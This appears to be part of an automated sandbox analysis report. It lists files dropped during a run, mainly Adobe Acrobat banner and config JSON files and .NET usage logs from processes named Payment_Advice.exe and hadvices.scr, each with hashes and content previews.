C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.301273318972743
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEgjsKPqYWsGiIPEeOF0Y6pRoAvJfBoTfXpnrPeUkwRe9:YvXKXRKsdTeOGuGWTfXcUkee9
MD5:	544E54B29B74BBE67484FFE3329C339C
SHA1:	4D2673FFD7174C2764BD163E7651E4ADE434E9CE
SHA-256:	5827466EB7748342686F96DC70CE8229F2E48CE223EDF00F884CEC33AA2CF0D4
SHA-512:	D0A6155E8F34679E17AFEC3010009CDCDFB80BF03C9B34227F930D282BA7D7B9B02AFC3A4AC4B3CFFF1470402DA4EAFB2C84E3B95D941CCF2F03070F42934EB4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a5b680a-ef14-4fec-b4b5-b0d12f733edb","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1714747221874,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.280541112887412
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEgjsKPqYWsGiIPEeOF0Y6pRoAvJfBD2G6UpnrPeUkwRe9:YvXKXRKsdTeOGuGR22cUkee9
MD5:	42D5DCEF397773A80EDCD1BA8DBCC809
SHA1:	4AC30B1D6F8177ABC0DC2979E185D8B5CB8B771C
SHA-256:	E5FEEA28D6CA77EC80D150C109D35992054EF8D67226D374DF83ADBE63E3E8CA
SHA-512:	3D296D5854AE6617BFBED7FD0C446800E6318EC50EAC8D7ECA4EE491FC921A05463717554EF95F0ACF831E085277464305837BEFA1F913C5A8628D8BA97EB880
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a5b680a-ef14-4fec-b4b5-b0d12f733edb","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1714747221874,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.354897769540505
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEgjsKPqYWsGiIPEeOF0Y6pRoAvJfPmwrPeUkwRe9:YvXKXRKsdTeOGuGH56Ukee9
MD5:	CD5EC1CBE54AF74599401AB2116DD183
SHA1:	1231C5E87B12E40722BB93C91254325E36AA1C29
SHA-256:	C4F9A4E6BE63A76D6899B2342AC94255B5BBA7E344D5EF1CB9CF61DA8F5A32EE
SHA-512:	C776834BE97616B4617A44DA1837F29F1514A00C3C516C00115CC7D81102D43C2506C74837ACB370D91246ACC793C0A85A8DA1D8DBDECFA97680FCA324970BE5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a5b680a-ef14-4fec-b4b5-b0d12f733edb","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1714747221874,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.30299530468373
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEgjsKPqYWsGiIPEeOF0Y6pRoAvJfJWCtMdPeUkwRe9:YvXKXRKsdTeOGuGBS8Ukee9
MD5:	3F535623C1E89336DF1218B56331FEBE
SHA1:	B26CF5BBEC4836A39CE1A0C42B900FD1498870DE
SHA-256:	5CCEA0BA2FF1C675B749DC27794B7E80F1B9D2707D8475A6E2374466CF104241
SHA-512:	BA2DBB48306329F71AA97AE18A7386BEE579A46423E41E2E6E51156C5E6548DFEE5CB45113C4CFB5231AAFD983ED419F8EC6A26EF047728333BF6B01F7D41ECA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a5b680a-ef14-4fec-b4b5-b0d12f733edb","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1714747221874,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.289960892892757
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEgjsKPqYWsGiIPEeOF0Y6pRoAvJf8dPeUkwRe9:YvXKXRKsdTeOGuGU8Ukee9
MD5:	E0B5811780728E730F4EC96DFFB883ED
SHA1:	D065148B0D12FA2B45F14CC63A90879403860703
SHA-256:	12372DE4BC9337537060BB3B08FB866BF794A68559B204FFF9C46E908DC03A70
SHA-512:	15EB344646459F535642B5A10FA9E837FCB68937E181923D6221CC616AD55AD0AAA7D1E220E442AAC8E6A93F775955B701541F3C45475FA25C540824FFA13D04
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a5b680a-ef14-4fec-b4b5-b0d12f733edb","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1714747221874,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.293690043299836
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEgjsKPqYWsGiIPEeOF0Y6pRoAvJfQ1rPeUkwRe9:YvXKXRKsdTeOGuGY16Ukee9
MD5:	733A390BD5EB85B399B106E5D6FB7E66
SHA1:	93A2FB0608F82DC6AABEE76B7141BE535998BFE3
SHA-256:	E35B96412FA320129A1D486C39E5E77FE999D1AEB4D9F600CC2160214FEBDAA2
SHA-512:	BF4CC8637783BD2A6C4DDA7CA0AC71F6A56283EFCF2983E2AC9DBDB5D2DF2228E902C0E79F9623066FCD82BCE13E9456BE09D81269C7136F53DDE602B4E024AF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a5b680a-ef14-4fec-b4b5-b0d12f733edb","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1714747221874,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.308922060165751
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEgjsKPqYWsGiIPEeOF0Y6pRoAvJfFldPeUkwRe9:YvXKXRKsdTeOGuGz8Ukee9
MD5:	F0A1071759C56A3B1CB8F9356F1B4E89
SHA1:	69EB99E9D581463FAE98981033E09B833FC7BC6F
SHA-256:	02BC065FF0718420A1CD88EDE0CD5CA0E91F56258031B11BF186437B42FC910B
SHA-512:	325DA6BC96787D20FD2F78ABF181BFE4FB765F7D08744C78B820B7B431FA7BAB4880C94FC84F349534729ED8E00ED531B621C84ED51B25B087FB1663F838F6FF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a5b680a-ef14-4fec-b4b5-b0d12f733edb","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1714747221874,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1372
Entropy (8bit):	5.738134474580361
Encrypted:	false
SSDEEP:	24:Yv6XRKmeOTKLgENRcbrZbq00iCCBrwJo++ns8ct4mFJNt:YvAZemEgigrNt0wSJn+ns8cvFJP
MD5:	983CCF3D504F24CEB75016E403D2F96E
SHA1:	D59A353354B12E7EB57FBEFA493FA1A370B291EA
SHA-256:	10B96112AFCCABC0BF422BF1F295D88C54E8348F08E51E0D691D2656C542F26C
SHA-512:	9F6979DD7B392C213A596332296A4851955D9F84F27ED2D58398D23EAEF513D3FBEF257D3A5CFCC49A2C1D3FD33E281E12B49AD62D9C2681ED2C966927ED1D8B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a5b680a-ef14-4fec-b4b5-b0d12f733edb","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1714747221874,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Home_LHP_Trial_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"79887_247329ActionBlock_0","campaignId":79887,"containerId":"1","controlGroupId":"","treatmentId":"acc56846-d570-4500-a26e-7f8cf2b4acad","variationId":"247329"},"containerId":1,"containerLabel":"JSON for DC_Reader_Home_LHP_Trial_Banner","content":{"data":"eyJjdGEiOnsidHlwZSI6ImJ1dHRvbiIsInRleHQiOiJUcnkgQWNyb2JhdCBQcm8ifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNSIsImZvbnRfc3R5bGUiOiIwIn0sImRlc2NyaXB0aW9uX3N0eWxpbmciOnsiZm9udF9zaXplIjoiMTMiLCJmb250X3N0eWxlIjoiLTEifSwidGl0bGUiOiJGcmVlIDctZGF5IHRyaWFsIiwiZGVzY3JpcHRpb24iOiJHZXQgdW5saW1pdGVkIGFjY2VzcyB0byBwcmVtaXVtIFBERiBhbmQgZS1zaWduaW5nIHRvb2xzLiIsImJ

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.296099696750638
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEgjsKPqYWsGiIPEeOF0Y6pRoAvJfYdPeUkwRe9:YvXKXRKsdTeOGuGg8Ukee9
MD5:	5E246B37423C2985F3634C60D55E9CE9
SHA1:	27097EE39D353BCEE2E4401EF981F53684CBB2CE
SHA-256:	C61BDC1044FC10C051EB0DD8E35E74BAE33AADCEC52912556CC079985DDB9C4D
SHA-512:	FF4BB5EFBF6C13F01C7DA8225CD1AC110BF9AD00C2AEB8692FD062E9362454DED49EA676C0EAB22F603AEF40E41503EEF124BD2E80340913CA9BE567299E929A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a5b680a-ef14-4fec-b4b5-b0d12f733edb","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1714747221874,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	5.77681579502978
Encrypted:	false
SSDEEP:	24:Yv6XRKmeOurLgEGOc93W2JeFmaR7CQzttgBcu141CjrWpHfRzVCV9FJNl:YvAZetHgDv3W2aYQfgB5OUupHrQ9FJD
MD5:	23FC51494A15A5BE3B29AC5C91134869
SHA1:	92B479AE0A1A060F9F5B94702E6CB11B10F051A9
SHA-256:	014EBA747EC815F22B9D6A0E037AD011F6A0873E27B38F9C36B7A86A0CFC3A04
SHA-512:	8DDBFBE293915C9F11739508E079CB22C3A6C6E5772A01C6D91A7EBCB5CABC5E58DEF30963516768643F16EA4FC3BFC4E56E325ADEBE86B30B0A750E8782DECA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a5b680a-ef14-4fec-b4b5-b0d12f733edb","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1714747221874,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_RHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"57802_176003ActionBlock_0","campaignId":57802,"containerId":"1","controlGroupId":"","treatmentId":"d0374f2d-08b2-49b9-9500-3392758c9e2e","variationId":"176003"},"containerId":1,"containerLabel":"JSON for Reader DC RHP Banner","content":{"data":"eyJjdGEiOnsidHlwZSI6ImJ1dHRvbiIsInRleHQiOiJGcmVlIDctRGF5IFRyaWFsIiwiZ29fdXJsIjoiaHR0cHM6Ly9hY3JvYmF0LmFkb2JlLmNvbS9wcm94eS9wcmljaW5nL3VzL2VuL3NpZ24tZnJlZS10cmlhbC5odG1sP3RyYWNraW5naWQ9UEMxUFFMUVQmbXY9aW4tcHJvZHVjdCZtdjI9cmVhZGVyIn0sInVpIjp7InRpdGxlX3N0eWxpbmciOnsiZm9udF9zaXplIjoiMTQiLCJmb250X3N0eWxlIjoiMyJ9LCJkZXNjcmlwdGlvbl9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjEyIiwiZm9udF9zdHlsZSI6IjMifSwidGl0

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.279673600632401
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEgjsKPqYWsGiIPEeOF0Y6pRoAvJfbPtdPeUkwRe9:YvXKXRKsdTeOGuGDV8Ukee9
MD5:	FB886F257B9B827DF744C6FC3F722DA0
SHA1:	DA303AB143666976687AC985229D4BBC331C1600
SHA-256:	0E706AB2E68F32A7F28D5A4CC7B4F3BEDCE43335440EF3257C3BFDD61448B4E7
SHA-512:	44D2DE2885359434D88F7368A651CEA2864C352ADED24486014E2EF6E6D380AE2F2990F4459FC5C9DC9465A35D15738972A03C66FD5BB8E149924FE3F50CCD78
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a5b680a-ef14-4fec-b4b5-b0d12f733edb","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1714747221874,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2842710672471425
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEgjsKPqYWsGiIPEeOF0Y6pRoAvJf21rPeUkwRe9:YvXKXRKsdTeOGuG+16Ukee9
MD5:	8E4795B9A4030B9FA29CE461E7A33229
SHA1:	AD839812C734817EE98472780D1278E8B10F6187
SHA-256:	D2E49C4EB9613B0B771FA26B1C3CE1FFD318C12DD6D233959E86FE5A6A5C186D
SHA-512:	9C17A5E69E66947846F27630B594D17622E20D4FE08F92510C9BF56C5955BEB95821EFCF6FD618A64D2C55D945B2A52F96AC6A7E24974202FBA457D3C2391612
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a5b680a-ef14-4fec-b4b5-b0d12f733edb","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1714747221874,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.30321230303391
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEgjsKPqYWsGiIPEeOF0Y6pRoAvJfbpatdPeUkwRe9:YvXKXRKsdTeOGuGVat8Ukee9
MD5:	961BECA4CB11C002F2B0095243991CEC
SHA1:	7411736C90825F3A0661314B61FAA9321B860469
SHA-256:	631185BEFAA165509D78276263E077C0E7FF2EC9AF6F2AFBA2DCA32B36A5EF91
SHA-512:	1E92EB7C0F5D93C5BE1F851CD032B19105FA473A722698CB7BE909A5E2B89E6F251FA92B61340C5C730CEC312399EAC2356865086E739C08AFD73ABB0C24A342
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a5b680a-ef14-4fec-b4b5-b0d12f733edb","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1714747221874,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2601790688979415
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDEgjsKPqYWsGiIPEeOF0Y6pRoAvJfshHHrPeUkwRe9:YvXKXRKsdTeOGuGUUUkee9
MD5:	D1B1E5C98FAF5F4E2E682569B5B945FB
SHA1:	F0C40B1D6F691DDF95269583493D02A07F8A0FB1
SHA-256:	A30054D460679C3CAD51689C32A5D19A6438F0B881780F313FF7B1FE7D79FC85
SHA-512:	E37E5F3FA20FACAE919C32FB5364B4B29BF7BE7D6752CF10544802E063ECA51423AEE5BF90128E4EDE7BEC4874AE6C42678196AB73942A79315BE7526ED7F2A6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a5b680a-ef14-4fec-b4b5-b0d12f733edb","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1714747221874,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	782
Entropy (8bit):	5.3802923134982485
Encrypted:	false
SSDEEP:	12:YvXKXRKsdTeOGuGTq16Ukee1+3CEJ1KXd15kcyKMQo7P70c0WM6ZB/uhWB:Yv6XRKmeOr168CgEXX5kcIfANho
MD5:	E376415CC34CC851F03B3044AAF04678
SHA1:	4CB36C2B34CA53149A1DA71FBA1F21F0F273768A
SHA-256:	80F217DF378D90EC8B86857B222BC6C464296C5465A15C632FBC86D990FCEEE9
SHA-512:	DB73F15FE28B8C86155521BBDB7FF948519218814168ACC4586774C73CD7D3A68F841D86C6AFB544B4935DEDFD574DF1359C5AFC75DD9EB074E8EE8374C4A81E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4a5b680a-ef14-4fec-b4b5-b0d12f733edb","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1714747221874,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"Edit_InApp_Aug2020"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"20360_57769ActionBlock_0","campaignId":20360,"containerId":"1","controlGroupId":"","treatmentId":"3c07988a-9c54-409d-9d06-53885c9f21ec","variationId":"57769"},"containerId":1,"containerLabel":"JSON for switching in-app test","content":{"data":"eyJ1cHNlbGxleHBlcmltZW50Ijp7InRlc3RpZCI6IjEiLCJjb2hvcnQiOiJicm93c2VyIn19","dataType":"application\/json","encodingScheme":true},"endDTS":1735804679000,"startDTS":1714569441909}}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.139979820267355
Encrypted:	false
SSDEEP:	24:YUlUW2SCfiWcO/D7iVKQBda7ay62K+LjWbEbj0SBZt2nF26V2LSDgCPiC5e29Lni:YG52lc6H0KQeTVEF2yBHiCs29ct
MD5:	6F037FF4E8214AED857C48599510C26F
SHA1:	90B6565E337D1419F7A1A56878DDA53624340031
SHA-256:	2363E8684E02796F0E585CBE3E0857D41433BA4A408A490CBAA3D518E627A524
SHA-512:	5DEEE224596E67252D07B8B62ABBD57A596249B962E825525E2765EC8B75452374ABC2707BCFAFBBBD0FECFB3084182C7BF0EFC449A19EFA7E89DFEB476D5578
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"155268ffec5c5934bdc581188be25297","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1714569441000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"126522d340aa5125b961831f70e01a51","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":1372,"ts":1714569441000},{"id":"Edit_InApp_Aug2020","info":{"dg":"bfa7514a148c16c0619675a0b9a155c5","sid":"Edit_InApp_Aug2020"},"mimeType":"file","size":782,"ts":1714569441000},{"id":"DC_Reader_RHP_Banner","info":{"dg":"ff7934f37b8162ec1d83b7bec38bf26c","sid":"DC_Reader_RHP_Banner"},"mimeType":"file","size":1395,"ts":1714569441000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"5e8fe773946a972688d8c72f739ad38c","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1714569441000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"93b5a62877b3e7b24d2c13612c415b35","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","size":289,"ts":1714569441000},

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4515633555554874
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsflp:lNVmsw3SHtbDbPe0K3+fDZdU
MD5:	D6191CE835867178F54AC45EAF562B42
SHA1:	61587447BBEA623C9DBC4023644B8136B5B7DE9B
SHA-256:	5A38505095AFBF15FAFF45F9E5A523E0CA4D986C32175F4D3C3A279A6B423B44
SHA-512:	EA7398D850B02AEDE26A70C53C52839DD87D9B1B9DD3A1FE1D4D76CB402527C32E391B401BCDD7AED28431483647E6B1DE733CA426FE2E00BF23133D25800267
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.953630380360256
Encrypted:	false
SSDEEP:	48:7MTrvrBd6dHtbGIbPe0K3+fDy2dsW7qFl2GL7msy:7u3SHtbDbPe0K3+fDZdLKVmsy
MD5:	46B9DFA88BA44FEC9BB23F1276A5623E
SHA1:	B01544788640E91A693BDDC68EEFEDB53484D0E8
SHA-256:	F22786A2A5FBCCFF1ED93CD85483CE901B9E509A9E7B9B99742ECFE3C19C603C
SHA-512:	27B5BF200C21AF480649005E96FA0A24C5BBE1862D5C0D298ED69F7FFC6F8A43C356591878DDFD5AF1984B6DF0347497314FAD70ADCCC0D808112183895A36AB
Malicious:	false
Preview:	.... .c.......1.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Payment_Advice.exe.log

Download File

Process:	C:\Users\user\Desktop\Payment_Advice.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	706
Entropy (8bit):	5.349842958726647
Encrypted:	false
SSDEEP:	12:Q3La/hhkvoDLI4MWuCqDLI4MWuPTAq1KDLI4M9XKbbDLI4MWuPJKAVKhat92n4M6:MLUE4K5E4KH1qE4qXKDE4KhKiKhg84j
MD5:	9BA266AD16952A9A57C3693E0BCFED48
SHA1:	5DB70A3A7F1DB4E3879265AB336B2FA1AFBCECD5
SHA-256:	A6DFD14E82D7D47195A1EC7F31E64C2820AB8721EF4B5825E21E742093B55C0E
SHA-512:	678E1F639379FC24919B7CF562FA19CE53363CBD4B0EAB66486F6F8D5DD5958DE3AAE8D7842EE868EFCC39D907FDC1A3ACF464E29D37B0DAEE9874C39730FE8E
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\hadvices.scr.log

Download File

Process:	C:\Windows\Temp\hadvices.scr
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	706
Entropy (8bit):	5.349842958726647
Encrypted:	false
SSDEEP:	12:Q3La/hhkvoDLI4MWuCqDLI4MWuPTAq1KDLI4M9XKbbDLI4MWuPJKAVKhat92n4M6:MLUE4K5E4KH1qE4qXKDE4KhKiKhg84j
MD5:	9BA266AD16952A9A57C3693E0BCFED48
SHA1:	5DB70A3A7F1DB4E3879265AB336B2FA1AFBCECD5
SHA-256:	A6DFD14E82D7D47195A1EC7F31E64C2820AB8721EF4B5825E21E742093B55C0E
SHA-512:	678E1F639379FC24919B7CF562FA19CE53363CBD4B0EAB66486F6F8D5DD5958DE3AAE8D7842EE868EFCC39D907FDC1A3ACF464E29D37B0DAEE9874C39730FE8E
Malicious:	false
